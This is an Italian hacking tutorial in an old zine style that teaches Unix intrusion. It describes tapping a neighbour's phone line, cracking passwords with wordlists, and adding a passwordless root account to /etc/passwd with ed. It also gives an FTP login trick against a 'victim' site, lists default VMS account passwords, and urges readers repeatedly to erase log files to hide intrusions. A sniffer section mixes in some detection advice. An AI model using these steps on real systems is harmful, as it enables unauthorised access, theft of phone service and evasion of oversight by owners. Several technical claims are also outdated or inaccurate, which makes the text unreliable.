In genere tutti gli user che si connettono ad internet usano nomi che riescono a ricordarsi facilmente tipo una data di nascita, il nome della ragazza o del giocatore preferito o anche qualcosa di meno evidente ma sempre e comunque legato a loro e che difficilmente potrebbero scordarsi.
Del resto romperebbe abbastanza le palle dovere cambiare la propria password perchè ce la siamo scordata no?

Ci sono altri sistemi per penetrare in un computer ma sono molto più complessi di questo anche se magari più efficaci.
Due tra i tanti sono l'IP SPOOFING e successivamente a questo l'Hijacking.
Ne parlerò più avanti.

Ora, se volete essere veramente paranoici (meglio esserlo che fregarsene) e avete paura ad hackerare dalla vostra linea di casa (comprensibile per chi non l'ha mai fatto), potreste, se avete le opportunità e i mezzi, collegarvi ad una cabina telefonica tramite un computer portatile oppure collegare il vostro computer alla linea telefonica del vicino di casa.
Nel primo caso purtroppo esistono pochissimi documenti (per non dire nessuno) sul phreaking (cioè l'atto di telefonare gratis beffando le compagnie telefoniche) in Italia e poichè il sistema telefonico italiano funziona diversamente da quello americano (anche se devo dire che non ho mai approfondito veramente l'arte del phreaking) poche possono essere le conclusioni.
Se non sapete come trafficare con le cabine telefoniche vi consiglio di provare a fare un collegamento tra i modem di tipo vecchio, cioe' quelli in cui si doveva appoggiare la cornetta sull'apparecchio, e uno di tipo nuovo; questa e' solo una mia teoria e sto raccogliendo informazioni in questi giorni.
Nel secondo caso, si farebbe certo prima che studiare il mezzo di connettersi ad una cabina telefonica però c'è da dire che il vicino di casa potrebbe scoprire dalla bolletta telefonica che qualcosa non và...state SEMPRE attenti a quel che fate.
Comunque anche in questo secondo caso vi serve un portatile:
Prendete i cavi che escono dal modem e tagliate via la parte di plastica alle estremità, trovate vicino alla casa della vittima la scatolina dove vanno a finire i cavi telefonici uscendo dalla casa ed apritela.
Dopo che vi siete procurati un paio di alligator clips (i cavi che hanno il beccuccio in fondo a forma di bocca di coccodrillo) collegate

il cavo rosso del vostro modem a quello rosso del clip e quello verde a quello verde.
Poi connettete i cavi in questione con quelli rossi e verdi che escono dalla cassetta e il gioco dovrebbe essere fatto...controllate che vi dia la linea e siete ok!

PROGRAMMI UTILI

Ci sono dei programmi che si rendono indispensabili in questo campo:
Il primo è il **ToneLoc** oppure l'**A-Dial** o qualsiasi altro war dialer. Poi oltre agli scompattatori sono utili anche i seguenti programmi:
Il **SATAN** (o SANTA) è un programma che gira sotto macchine Unix e sue emulazioni e richiede perl5.0, un browser (netscape và bene), 32 MB di ram; questo programma consente l'analisi di reti e sottoreti di un sistema per trovare falle e aperture. E' stato progettato per poter trovare ingressi non controllati nei sistemi ed eventualmente chiuderli. E' stato usato (oltre a questo nobile scopo) da un certo signore chiamato Kevin Mitnick il quale ha fregato programmi segreti del governo, una cosa tipo 20.000 numero di carte di credito e chi più ne ha più ne metta.
Un altro programma simile al SATAN è l'ISS che lo precede come data di uscita su internet. L'Internet Security Scanner funziona in modo simile al SATAN ma non sò dire che requisiti voglia per girare.
Se vi siete accorti che qualcosa nel vostro sistema non và potete usare due programmi per vedere se il SATAN o altri netscanners (esaminatori di reti) vi hanno fatto una "visitina".
Uno è il **GABRIEL**, l'altro il **COURTNEY** che sono due strumenti che riescono a capire se si è stati sottoposti all'attacco del SATAN.
Un altro programma indispensabile è il **crack jack** (o **crackerjack**) oppure il **Brute**.
Questi due programmi comparano le password di una lista, che voi avrete compilato prima in un file di testo, con quelle del passwd file cercando di trovarne una uguale per poter così usufruirne al momento del login.
Attenzione perchè possono solo decifrare le password criptate col metodo DES, NON quelle shadowed.
Una cosa: *chi ha detto in giro che ha decriptato il passwd file racconta solo un mucchio di balle perchè non è possibile decriptarlo*.
Al massimo si può, utilizzando i programmi sopra citati comparare una lista di password e trovarne una (o più se si è MOLTO fortunati) giusta.
Altri programmi utili possono essere il **pgp** (**Pretty Good Privacy**) e il **pgpcrack**.
Il primo serve per criptare dei messaggi in modo che nessuno (tranne il ricevente con la giusta chiave) possa capire. Questo programma ha, diciamo, fatto un pò di confusione su internet poichè riusciva a criptare i messaggi con una sicurezza quasi totale e i militari (soprattutto americani) non erano un gran che contenti di questa cosa.
Il secondo programma, pgpcrack, serve per l'opposto: crakkare i messaggi criptati col il pgp (vedi sotto). Anche qua bisogna comparare una lista di password con il file pgp a meno che non si conosca un pò di assembler il che ti potrebbe permettere ad esempio di scrivere al posto della lista di password la parola Random e ciò (dopo aver appositamente modificato il programma) ti permetterebbe di fare una scansione di tutti i caratteri ascii.
Ho sentito dire che il pgpcrak non servirebbe a nulla...io non ho sperimentato di persona i risultati e non posso confermare o smentire tale voce. Lascio a chi si intende di più di chiavi criptate il compito di dare una risposta a tutti quelli che la cercano.

Apro una piccola parentesi su tre parole che forse avrete sentito dire in giro su internet:
Virus, Trojan Horse, Worm che tradotti sarebbero virus, cavallo di troia e verme.

VIRUS

Questo è un programma indipendente che riesce a riprodursi. Può attaccare gli altri programmi e può creare copie di se stesso. Può danneggiare o corrompere i dati su di un computer o calare le performance del vostro computer utilizzando risorse come la memoria oppure lo spazio libero sul disco fisso.
Alcuni virus scanner (anti-virus) individuano alcuni virus. NESSUN anti-virus individua tutti i virus conosciuti e non ti può proteggere quindi da essi.
Avevo letto da qualche parte una frase che era abbastanza significatica sia in questo caso che nel caso dell'hacking:
"...ricorda, le forze dell'ordine fanno passi avanti nella sicurezza dei sistemi, scoprono nuovi mezzi per bloccare i nostri attacchi e scoprono nuovi trucchi per scovarci ed arrestarci.
Il loro unico problema è che la tecnologia non si espande solo per loro..."

TROJAN HORSE ovvero IL CAVALLO DI TROIA

Chi non sa cos'è il cavallo di Troia?
Spero che pochi non sappiano cos'è.
Comunque era quell'inganno che dei gran cattivi ragazzi avevano usato per portare morte all'inteno di una città nella quale sembrava impossibile entrare.
Un TROJAN (abbrevio il nome) da computer è molto simile.
E' un programma che, con funzioni non autorizzate, si nasconde dentro un programma autorizzato. Un trojan ha diverse funzioni...ad esempio può mandarti tutte le password che vengono digitate in un giorno al tuo indirizzo di posta elettronica e contemporaneamente può cancellarsi da solo.
Se non è intenzionale (ovvero non viene immesso nel sistema da un hacker) questo viene chiamato bug (cito una storia che mi ha detto un mio amico, RaggedRobin..."per chi non sapesse perchè viene usato il termine bug per indicare un errore in un sistema, deve sapere che quando avevano inventato il primo computer, che era grande come una stanza, tra i suoi circuiti un giorno si infilò una cimice che lo mandò fuori uso e da allora i difetti di un sistema vengono chiamati bug cioè insetto...").
Alcuni anti-virus individuano alcuni trojan ma come nel caso dei virus, nessuno può sentirsi al sicuro poichè per ogni nuova scoperta in campo di protezione ne viene fatta una nel campo dell'attacco.
Per maggiori dettagli sui cavalli di troia vi rimando al primo numero di "SystemDown" nel quale ne parla RaggedRobin nel suo articolo.

WORM cioè VERME

I worms (i vermi) sono programmi simili ai virus che si riproducono e si copiano di file in file e di sistema in sistema usando le risorse di quest'ultimo e talvolta rallentandolo. La differenza dai virus è che mentre loro usano i file per duplicarsi, i vermi usano i networks.
Nota: sono stati creati, credo e non vorrei dire una balla, da un certo Robert Morris Jr.

ERRORI:

Quando inserisci un account non valido oppure una password non valida (oppure entrambi) tu dovresti vedere un messaggio di errore.
In genere è qualcosa di simile a: Login Incorrect.
Quando il computer ti dice questo, significa che hai sbagliato una delle due cose ma (per ovvie ragioni) non ti dice qual'è.
Quando tu sbagli il login, la chiamata viene registrata in appositi file (error log) che registrano chi è l'utente e da dove sta chiamando per puro scopo di sicurezza.
Altri tipici errori sono: "Cannot change to home directory" oppure "Cannot change directory". Questo significa che la home directory (la directory dell'account in cui ti sei inserito) è la root directory per quell'account.
Tanto per capirci è come ritrovarsi sul dos in c:\ e sai che indietro non puoi andare perchè non c'è nulla, l'unica differenza è che sullo unix non ci sono c:\ oppure a:\ quando parti con il sistema ma /homedirectory.
Piccola nota: nello unix è usato questo simbolo per delimitare le directory / e non \.
Molti sistemi dopo che ti hanno dato questo messaggio ti sconnettono automaticamente ma altri ti dicono semplicemente che ti hanno messo nella root directory (/).
Un altro errore è "No Shell". Significa che nessuna shell (programma di interfaccia con il kernel del sistema che esegue tutti i comandi) è stata impostata per quell'account. Per maggiori dettagli vedi oltre.
Come sopra, alcuni sistemi ti sconnettono dopo questo messaggio, mentre altri ti dicono di usare una shell regolare dicendo "Using the bourne shell" oppure "Using Sh".

ACCOUNT IN GENERALE

Il sistema unix ha due livelli di sicurezza: potere assoluto e user regolare.
Quelli che hanno potere assoluto sono i root, i system operator, gli amministratori di sistema in altre parole.
Lo unix è impostato (per i livelli di sicurezza) su numeri: associa un numero con un account; alcuni account possono avere lo stesso numero.
Il numero che definisce i poteri di un root (amministratore di sistema) è 0. Qualsiasi altro account abbia un UID (User ID) di 0, ha i privilegi di un root.
Tenete in considerazione che il livello normale di uno user è 100.

SHELL

La shell è un programma eseguibile che si "associa" ad un utente quando si inserisce (normalmente o irregolarmente) in un sistema.
Questa shell può essere qualsiasi programma eseguibile definito nel passwd file. Ogni login ha una shell unica. Le shell sono interpreti dei nostri comandi e cioè provvedono a fare da tramite tra noi e il sistema vero e proprio. Tanto per capirci le shell sono qualcosa di simile al "command.com" del dos.
Alcuni esempi di shell sono:
-sh: Questa e la "bourne shell" e si potrebbe definire il "command.com" dello unix.
-csh: Questa è la "C" shell e ti permette di inserire comandi simili al "C".
-ksh: Korn Shell. Un altro interprete di comandi.
-tcsh: Permette l'editing dei comandi. E' usata al MIT.
-vsh: Visual Shell. Questa è come il windows per il dos cioè un interprete grafico dei comandi.
-rsh: Restricted Shell o Remote Shell. Spiegato dopo.

Quando ti inserisci in un sistema la shell ti dà un simbolo e da questo puoi capire a che livello ti sei infiltrato (spero l'abbiate capito prima di questo simbolo!).
$: In genere il dollaro è il simbolo che si associa all'user regolare senza alcun potere.
#: Questo invece si associa in genere ai root.

CARATTERI SPECIALI:

Control-D: Fine di un file. Quando usi la mail oppure un editori di testi, questo comando capisce quando sei arrivato alla fine. Se sei nella shell (nel prompt dei comandi normale) e premi control-d tu ti disinserisci dal sistema.

Control-J: Su alcuni sistemi questo è come premere "invio".
@: Questo qualche volta è "null" che tradotto significa "nullo, qualcosa di nullo".
?: Può rappresentare una lettera (come * nel dos). Ad esempio se tu inserisci qualcosa tipo b?b, lo unix capisce che può essere bob, bib, bub ed ogni altra lettera e numero da 0-9 e a-z.
: Questo rappresenta ogni numero di caratteri ed è simile a quello sopra descritto. Se inseriamo infatti quacosa tipo Hi può voler dire Hit, Him e qualsiasi cosa parta per Hi. Se invece si inserisce H*l rappresenta qualsiasi cosa parte per H e finisce per l.
[ ]: Specificano un campo. Se diciamo b[o,u,i]b lo unix capisce bob, bub, bib. Se gli dico b[a-d] lo unix pensa a qualsiasi lettera compresa nel campo (cioè in questo caso da a fino a d).
In qualsiasi caso lo unix è molto "SENSIBILE" e quindi inserire D al post che d non significherà la stessa cosa.
Occhio quindi ad inserire le password giuste. ;-)

COMANDI DA USARE SOTTO LO UNIX:

ls: Questo elenca il contenuto delle directory (è uguale a dir nel dos).

cat: Questo comando stampa a video il contenuto di un file. Può essere usato sui file di testo.

cd: Cambia la directory come nel dos tranne per il fatto che per tornare indietro di una directory non bisogna fare cd.. ma cd .. (cioè separare di uno spazio il cd dai puntini). Per il resto è uguale al dos.

cp: Copia un file. Sintassi "cp dalfile alfile"

mv: Questo rinomina un file. Sintassi "mv vecchionome nuovonome".

pwd: Dà il nome della directory in cui ti trovi.

rm: Cancella un file. Sintassi "rm nomefile" oppure "rm -r nomedirectory".

write: Manda una chat ad un altro user. Sintassi "write nomeuser"; per uscire dal programma write digitare control-d.

who [w, who, whodo]: Dicono chi è online cioè chi è collegato alla macchina sulla quale fai who. Se al fianco del nome dello user c'è un + significa che puoi usare il comando write su di lui.

man: Ti stampa a video l'aiuto sui comandi che vuoi. Sintassi "man nomedelcomando"; ad esempio "man who". Questo comando deve essere seguito dal comando che si vuole consultare. Ad esempio man -k ricerca i comandi che hanno a che fare con la keyword.

stty: Setta le caratteristiche del tuo terminale.

sz, rz: Manda e Riceve (send o receive) con lo zmodem

rx, sx: Manda e Riceve con lo xmodem.

rb, sb: Manda e Riceve via batch ymodem. Questi 6 programmi possono e non possono esserci su di uno unix.

umodem: Manda e riceve con lo umodem. Esempio di trasmissione:

```
$ sz nomefile
ready to send...
$ rz nomefile
please send your file....
..etc..
```

ed: Editor di testi. Sintassi: "ed nomefile". Alcune versioni ti possono dare un prompt tipo "*" altre non lo fanno. Il piu' comune, comunque, e' il "vi".

mesg: Cambia il permesso o no di ricevere chat da altri utenti (il + spiegato sopra nel comando write).

cc: Il compilatore C.

chmod: Cambia i diritti di un file. Sintassi:"chmod mode nomefile". Ad esempio chmod a+r newtext: Tutti possono leggere newtext perchè a=all r=read. Questo è comunque spiegato oltre.

chown: Cambia il possessore e il gruppo di un file. Sintassi "chown possessore (owner) nomefile".

chgrp: Cambia il gruppo (spiegato dopo) di un file. Sintassi "chgrp group file"

finger: Stampa a video le informazioni basiche su un account. Sintassi: "finger nomeuser".

grep: Cerca un qualcosa dentro un file. Sintassi "grep pattern file".

mail: Questa è una utility molto interessante e utile. Al contrario del nome esistono molte versioni della Mail come ad esempio ELM, MUSH e MSH. Il programma basico della mail è comunque chiamato "mail".
La sintassi e:

```
"mail nomeuser@indirizzo" oppure
"mail nomeuser" oppure
"mail" oppure
"mail addr1!addr2!addr3!user"
```

comando "mail nomeuser@indirizzo" è usato per mandare una mail a qulcun'altro su di un altro sistema che solitamente è un altro unix ma anche dos e vax possono ricevere posta dallo unix.
Quando usi "mail nomeuser@indirizzo" il sistema dove sei DEVE avere uno "smart mailer" (conosciuto come smail) e deve avere quello che noi chiamiamo sistem maps. Lo smart mailer così può trovare l'indirizzo e mandare così la mail.

Per le macchine locali basta che digiti "mail nomeuser" dove nomeuser è
il login a cui vuoi mandare la mail.
Scrivi il tuo messaggio poi premi control-d.
Per leggere le TUE mail digita "mail".
Ad esempio:

```
$ mail

From McKrak ............................
To Inf ......................
Subject: bene ora.......................

Arghhh!

?
```

Il ? è un prompt che aspetta un comando:
d - delete (cancella)
f nomeuser - manda allo user
w fname - salva il messaggio con intestazione nel file
q - quit / update mail
x - quit ma non cambia nulla
m nomeuser - mail allo user
r - reply
[invio] - leggi il prossimo messaggio
+ - vai avanti di un messaggio
- : torna indietro di un messaggio
h - stampa a video le intestazioni dei messaggi che sono nella tua mailbox.
Ci sono altri comandi e per vederlo basta digitare ?.
Se mandate fakemail (false mail) date un'occhiata anche al file /var/adm/maillog

ps: Process. Questo comando permette di vedere tutti i processi che occupano la memoria (come ad esempio i programmi aperti). Ogni volta che lanci un programma tu assegni un Process ID number (PID) per scopi di registrazione e tramite ps puoi andare a vedere cosa e' stato lanciato.
Solitamente la prima voce del comando ps è la shell con il tuo nome.
pf -f dà una lunga lista di processi.

kill: "Uccide" un processo. Questo è usato per terminare un programma nella memoria del computer. Si possono solo uccidere i processi che si possiedono a meno che tu non sia un root o il EUID è lo stesso di quello che vuoi terminare (spiegato dopo). Se "uccidi" la tua shell, tu sei espulso fuori dal sistema.

shwomount (/usr/bin di solito): serve per mostrare quali parti del file-system una macchina esporta sulla rete, e se seguito dall'opzione -e visualizza inoltre chi ha la possibilita' di montare tramite nfs la partizione esportata (Se compare la scritta "everyone" siamo a posto).

rusers: consente di sapere quali utenti sono collegati su macchine remote connesse alla tua.

HACKING

Il primo passo consiste nell'infiltrarsi in un sistema operativo trovando un valido account/password. L'obiettivo dell'hacking è

solitamente quello di guadagnare i pieni privilegi (root) sul sistema hackerato.
Piccola nota:
Quando in un sistema si vedono scritte tipo: drwxr-xr-- Infected (ad esempio) significa questo:
la prima lettera "d" significa che quella riga è una directory e ne contiene forse delle altre; poi seguono una serie di simboli (rwx) che stanno per r=read=leggere w=write=scrivere x=execute=eseguire.
Sono ripetuti tre volte perchè i primi tre si riferiscono al possessore del file; nell'esempio sopra di Infected, potevo sia leggerlo che modificarlo che eseguirlo. La seconda serie di lettere si riferisce al gruppo a cui Infected appartiene e cioè se quelli appartenenti allo stesso gruppo possono o no leggere, modificare o eseguire il dato file.
L'ultima serie di lettere si riferisce ad ogni altro user che non sia Infected e non faccia parte di quel dato gruppo.
Quelle lettere possono essere cambiate con il comando chown (spiegato sopra) ma lo può fare solo l'operatore di sistema e solo colui che ha creato il file a meno che questo file non sia modificabile dalla terza categoria.
Se per caso ti dovesse capitare di trovare nel passwd file (localizzato in /etc/passwd) un account privo di password (cioè c'è dello spazio bianco dove ci dovrebbe essere la password) significa che puoi inserire il nome dell'account e se ti chiede la password battere invio e così dovresti essere automaticamente dentro.

UNA VOLTA DENTRO??? SPECIALI FILE...

/etc/passwd: Questo è il più importante file su di uno unix poichè contiene le password e gli account validi per poter entrare nel sistema. Il formato per il passwd file è questo:
nomeuser:password:UserID:GroupID:descrizione(o vero nome):homedir:shell
Ci sono due esempi da fare:
infectedm:89fGc%^&a,Ty:100:100:InfectedMachine:/usr/infectedm:/bin/sh
demo::101:100:Test Account:/usr/demo:/usr/sh
Prendiamo in considerazione il primo esempio:
Il primo campo dove c'è scritto infectedm si riferisce al fatto che infectedm è uno user valido. Il secondo campo dovrebbe contenere la password ma è criptata con il metodo di criptazione DES.
Potresti anche trovare qualche carattere tipo * al posto della password e se lo trovi (cosa praticamente ormai certa nei sistemi odierni) significa che la password è shadowed (ombrata) cioè è nascosta e solamente il root può andare a vedere l'originale.
Per combattare quest'ultima "minaccia" si può usare un programma chiamato **ypcat** (vedi sotto)che gira sui sistemi operativi SunOS.
Parentesi:
Le password shadowed sono presenti in due casi:
Il sistema e' stato reso sicuro (trusted)
Sono installate le YellowPage e in questo caso si puo' utilizzare il comando ypcat.
Prendiamo ora come esempio il secondo che avevamo fatto sopra: qua possiamo notare che l'account è privo di password e quindi inserendo (come detto sopra) il nome dell'account (in quel caso era demo) e premendo invio si potrà accedere al sistema senza bisogno di inserire la password.

/etc/group: Questo file contiene i gruppi validi. La sintassi solitamente è:
nomegruppo:password:groupid:users nel gruppo. Se vedi uno spazio bianco dove dovrebbe stare la password, puoi diventare parte del gruppo usando l'utility "newgrp". Comunque ci sono alcuni casi in cui a solo certi

users è permesso usare il comando "newgrp" per poter accedere al gruppo.
A questo proposito voglio specificare che se l'ultima riga cioè "users nel gruppo" è bianca significa che tutti possono inserirsi; al contrario se c'è scritto qualcosa significa che solo quello user o quegli users possono usare il comando e inserirsi.
Apro una piccola parentesi sul comando "newgrp": questo è un comando che può cambiare la tua attuale group id in una che tu specifichi. La sintassi è "newgrp nomegruppo".

/etc/hosts: Questo file contiene la lista degli host che sono connessi attraverso un hardware network (tipo un x.25 link) o, qualche volta anche quelli connessi attraverso UUCP. Questo è un ottimo file quando vuoi hackerare un grande network e infatti ti dice in che sistemi puoi usare la rshell (remote shell) oppure rlogin e il telnet o qualsiasi altro ethernet/x.25 program.

/usr/adm/sulog (oppure su_log): Il file sulog può essere trovato in molte directory ma solitamente è in questa. Questo file è ciò che dice la parola stessa, un log file per il programma SU. Infatti questo registra ogni user (e ogni suo dato compreso da dove chiama) che usufruisce del programma SU.
Se devi usare questo programma per entrare nel sistema cerca questo file e prova ad editarlo cancellando così le tue tracce.

/usr/adm/loginlog
/usr/adm/acct/loginlog: Questo è un log file (per non dire IL log file) e registra le tracce di ogni persona che si inserisce all'interno del sistema. E' un file di sicurezza per verificare le persone che hanno usufruito del sistema.
A volte non esiste neppure sul sistema.

/usr/adm/errlog: Questo è un error log. Può essere ovunque sul sistema. Questo registra le tracce di ogni chiamata errata grave e non. Di solito contiene un codice che classifica le entrate sbagliate.
Và da 1 a 10.
Quando si hackera un computer in genere questo file lo classifica con il numero 6; il numero 10 è il system crash.
Dopo che sei penetrato in un sistema cancella le tue tracce anche su questo file.

/usr/adm/culog: Questo file contiene le informazioni su chi ha usato il programma CU, da dove ha chiamato, chi era, ecc.
Un altro file per la sicurezza del sistema.

/usr/mail/<userLogin>: Questo è dove il programma mail registra le lettere di un utente. Per leggere una particolare mailbox devi essere quello user, uno user nel gruppo "mail" o un root. Ogni mailbox ha un nome. Se si trova questo file leggere bene i nomi scritti qua perchè possono benissimo essere gli account degli users.

/etc/shadow: Il file di cui parlavo prima cioè il file shadowed dove ci sono le password ombrate.

/var/adm/maillog: registra la partenza e la destinazione (credo) delle mail.

IL BIN ACCOUNT

In genere il bin account è solo a livello user ma benchè sia solamente a questo livello, è molto forte.

Questo è potrebbe essere il possessore di molti dei più importanti file del sistema compreso /etc/passwd.
Se hai letto la sezione precedente sulla possessione o no dei file (quelle tre lettere rwx) puoi capire che se questo account possiede il file /etc/passwd essendo un account a livello user ti permette di editare il mitico file e di crearti una root entry per te stesso.
Puoi farlo tramite il comando ed.
Ad esempio:

```
$ ed passwd
10999 [ la grandezza del passwd varia ]
* a
infectedm::0:0: Infected Machine:/:/bin/sh
( control-d )
* w
* q
$
```

Ora tu puoi usare il comando Login per reinserirti nel sistema, usare il nome infectedm ed essere un root. Facile no?

Addizionare Account

Ci sono alcuni programmi, diversi dal comando "ed" che permettono di addizionare lo user al sistema ma molti non permettono di inserirsi come root o con UID meno di 100. Uno di questi programmi è chiamato "adduser".
Quello che segue è quello che devi fare se vuoi un indirizzo di posta elettronica su di un computer:
Se lo Unix in questione (quello in cui devi mettere la tua email) ha l'uucp oppure è una università, ci sono possibilità di fare il traserimento di posta elettronica.
Tu ora puoi testare lo Unix mandando una mail ad un tuo amico oppure a te stesso e se quando ti arriva, il mittente è indicato come "smail" probabilmente significa che il sistema può mandare le mail UUCP.
Questo è un buon metodo per prendere contatto con le persone in maniera tranquilla e sicura.

Hackerare un sito ftp tramite l'FTP di windows95:

TYPE
ftp vittima.com (vittima.com e' il sito da hackerare)
Il server ora puo' richiedere uno username...premere INVIO.
Ora il server richiedera' la password...premere anche qui INVIO.
Poi digitare:
quote user ftp
e poi:
quote cwd ~root
in seguito:
quote pass ftp

Sii sicuro di cancellare i log file per fare in modo di renderti "invisibile" al system operator.
Per fare questo metodo il sistema deve essere un po' vecchiotto (anche se non so' quanto).
Funziona soprattutto con i vecchi server (universita' americane).
E' lo stesso con UNIX, LINUX e OS/2.
Funziona anche con gli account anonymous che richiedono l'inserimento della email come password.

SNIFFER???

Che cos'e' uno sniffer?

Lo sniffer e' un programma che, rilasciato sopra qualche server, ne cattura le informazioni richieste e le trattiene fino a lettura o le invia ad un destinatario (ad esempio).
L'atto di catturare di queste informazioni e' chiamato sniffing.
Molte delle piu' popolari connessioni tramite computer si eseguono attraverso ethernet.
Il protocollo Ethernet lavora mandando pacchetti di informazioni a tutti gli host dello stesso circuito.
L'inizio del pacchetto contiene l'indirizzo proprio della macchina di destrinazione.
Solo il computer con l'indirizzo uguale e' predisposto ad accettare quel pacchetto; per non fare confronti bisogna porre la macchina in modo chiamato "promiscuo".
A causa del fatto che in un normale scambio di informazioni attraverso network, account e password sono inviati attraverso ethernet in normale testo non cifrato, non e' difficile per un intruso, una volta che ha ottenuto il livello di superuser, porre la macchina in modo "promiscuo" e, facendo lo sniffing, compromettere tutte le macchine sulla rete di quel computer.
Dove si possono trovare gli sniffer?
Lo sniffing e' una delle piu' popolari tecniche di attacco degli hackers.
Uno speciale sniffer chiamato Esniff.c, veramente piccolo, e' stato creato per lavorare sulle stazioni SunOS e riesce a catturare "solo" i primi 300 bytes delle sessioni di telnet, ftp e rlogin.
Questo e' stato pubblicato in Phrack, cioe' uno dei giornali hackers piu' letti di tutta internet.
I vari articoli del Phrack si possono trovare su diversi siti ftp.
L'Esniff.c e' rimediabile all'ftp:
coombs.anu.edu.au:/pub/net/log.
Tu, lanciando lo sniffer su di un network autorizzato, puoi vedere come questo comprometta tutte le macchine della rete.
Altri sniffer, tesi a risolvere i debug dei programmi di rete sono:*Etherfind sul SunOS 4.1.x
*Snoop sul Solaris 2.x e SunOS 4.1 (ftp playground.sun.com)
*Tcpdump 3.0
*Packetman, Interman, Etherman, Loadman lavorano sulle seguenti piattaforme:
SunOS, Dec-mips, SGI, Alpha e Solaris
ftp.cs.curtin.edu.au:/pub/netman/[sun4c|dec-mips|sgi|alpha|solaris2]/[Etherman-1.1a|Interman-1.1|loadman-1.0|packetman-1.1].tar.gz
Lo sniffer chiamato Packerman (cosi' come Etherman o Interman) e' stato creato per catturare pacchetti di informazioni mentre Loadman per monitorare il traffico tra i computer.
Sniffer per il DOS:
*Gobbler per macchine IBM DOS
*Ethdump v1.03
ftp.germany.eu.net:/pub/networking/inet/ethernet/ethdp103.zip
*Ethload v1.04
ftp.germany.eu.net:/pub/networking/monitoring/ethload/ethld104.zip

Sniffer commerciali:

*Network General
La network general produce numerosi prodotti. I piu' importanti sono gli Expert Sniffer, che non solo corrono su tutta la rete ma possono anche caricare pacchetti attraverso un sistema ad alte prestazioni diagnosticando i problemi per te.

*Microsoft's Net Monitor

Come si individua se vi e' uno sniffer su di un sistema?

Per individuare uno sniffer che raccoglie solo dati e non risponde a informazioni bisogna fisicamente verificare tutti i propri collegamenti Ethernet, controllandoli uno ad uno.
E' impossibile verificare in modo remoto un computer mandandogli un pacchetto di informazioni o facendo un ping alla macchina se questa e' stata "sniffata".
Uno sniffer che e' stato lanciato su di una macchina, mette l'interfaccia in modo promiscuo con il quale accetta tutti i pacchetti di informazioni. Su alcuni sistemi UNIX e' possibile individuare se una macchina e' stata messa in modo promiscuo.
E' possibile lanciare uno sniffer su di una macchina in maniera non promiscua ma questo intercettera' solamente le informazioni che sono state lanciate direttamente dalla macchina.
E' anche possibile per l'intruso eseguire una simile cattura di informazioni lanciando alcuni trojan horse (vedi sopra) su diversi programmi come telnet, rlogin, in.telnetd e altri.
Tutti questi tipi di attacchi compromettono solo le sessioni che vengono da una macchina invece lo sniffing in modo promiscuo compromette TUTTE le sessioni su Ethernet.
Per SunOS, NetBSD e altri possibili derivati BSD dello UNIX c'e' un comando "ifconfig -a" che ti dice tutte le informazioni su tutte le interfacce e se loro sono in modo promiscuo.
Sul DEC OSF/1 e IRIX e altri possibili OS, bisogna specificare che interfaccia si vuole verificare.
La sola via per trovare quale interfaccia e' su di un sistema e questa: eseguire:
netstat -r
Routing tebles

Internet:

Destination	Gateway	Flags	Refs	Use	Interface
default	iss.net	UG	1	24949	le0
localhost	localhost	UH	2	83	lo0

Poi tu puoi testare ogni interfaccia eseguendo il seguente comando:
ifconfig le0
le0:
flags=8863<UP, BROADCAST, NOTRAILERS, RUNNING, PROMISC, MULTICAST>
inet 127.0.0.1 netmask 0xffffff00 broadcast 255.0.0.1

Gli hackers spesso rimpiazzano comandi come ifconfig per evitare l'individuazione.

C'e' un programma chiamato cpm scaricabile a:
ftp.cert.org:/pub/tools/cpm che lavora solo sul SunOS e ispeziona l'interfaccia per le "primiscuous flag".

L'Ultrix puo' individuare qualcuno che lancia uno sniffer usando il comando pfstat e pfconfig.
"pfconfig" ti permette di settare chi puo' usare uno sniffer.
"pfstat" ti mostra se le interfacce sono in modo promiscuo.
Questi comandi funzionano solo se lo sniffing e' abilitato linkandolo nel kernel.
Per default, lo sniffer NON e' linkato nel kernel.

Molti altri sistemi UNIX, come Irix, Solaris, SCO, ecc, non hanno indicazioni sulle flags (se sono in modo promiscuo o no) e quindi un intruso puo' fare uno sniffig sul tuo sistema senza essere individuato.

Spesso un "log sniffer" (sniffer di inserimento) diventa un grande file. Su un network con molti computer collegati ad esso, uno sniffer puo' dar luogo a lunghi caricamenti sulla macchina sniffata. Qualche volta questo mette in allarme gli amministratori di sistema e cosi' possono arrivare a scoprire uno sniffer.
Io suggerisco di usare lsof (LiSt Open Files) scaricabile da:
coast.cs.purdue.edu:/pub/Purdue/lsof
Questo programma trova i log file e i programmi che accedono ai pacchetti di informazioni su di un sistema come il /dev/nit sul SunOS.

Non esiste un comando (per quanto ne so') per individuare una macchina IBM PC posta in maniera "promiscua", ma solitamente queste macchine non permettono comandi di esecuzione tranne che dalla console principale e quindi intrusi che operano in modo remoto non possono cambiare un computer PC in uno sniffer senza avere aiuto dall'interno.

INFORMAZIONI SUI SISTEMI OPERATIVI:

Nota:
Sotto ogni descrizione riporto una lista delle piu' comuni password e login del sistema citato.

VMS:

I computer VAX e' stato creato dalla Digital Equipment Corporation (DEC) ed usa il VMS (Virtual Memory System). Questo sistema e' caratterizzato dal prompt con la scritta "Username:".
Il "bello" di questo sistema e' che non ti dice se hai sbagliato ad inserire un username e ti puo' disconnettere dopo tre tentativi errati di inserimento.
Il VMS registra anche le tracce di tutti i tentativi falliti di login e informa il possessore dell'account quanti tentativi sono stati fatti sbagliati sul suo account. Questo e' uno dei piu' sicuri sistemi operativi che sono in circolazione contro gli attacchi dall'esterno ma una volta dentro ci sono molte cose che si possono fare per evitare le barriere di sicurezza erette dal sistema. Il VAX ha anche il migliore set di file di aiuto del mondo.
Digita HELP per vederli.

```
Login:            Password:

SYSTEM:     OPERATOR, MANAGER, SYSTEM oppure SYSLIB
OPERATOR:   OPERATOR
SYSTEST:    UETP
SYSMAINT:   SYSMAINT, SERVICE oppure DIGITAL
FIELD:      FIELD o SERVICE
GUEST:      GUEST o privo di password
DEMO:       DEMO o privo di password
DECNET:     DECNET
```

DEC-10

Una linea della DEC usa il sistema TOPS-10. Queste macchine sono individuabili dal prompt "."
La serie DEC 10/20 sono dette "amiche degli hackers" in quanto permettono molti importanti comandi senza neppure aver effettuato il login.

Tu puoi prendere una lista di accounts e di process name di tutti quelli collegati al sistema senza collegarti ad esso digitando .systat (sta per SYstem STATus).
Se tu leggi una cosa tipo:
[234,1001]BOB JONES, tenta BOB o JONES o tutti e due per la password su questo account.
Gli account sono in questo formato [xxx,yyy].
Per effettuare il login digitare .login xxx,yyy e poi inserisci la password quando ti viene richiesta.
Il sistema ti permette illimitati tentativi di login su di un account e non registra le tracce di quelli falliti.
Ti informa anche se il UIC (UIC=User Identification Code) che stai tentando e' sbagliato.

```
Login:          Password:

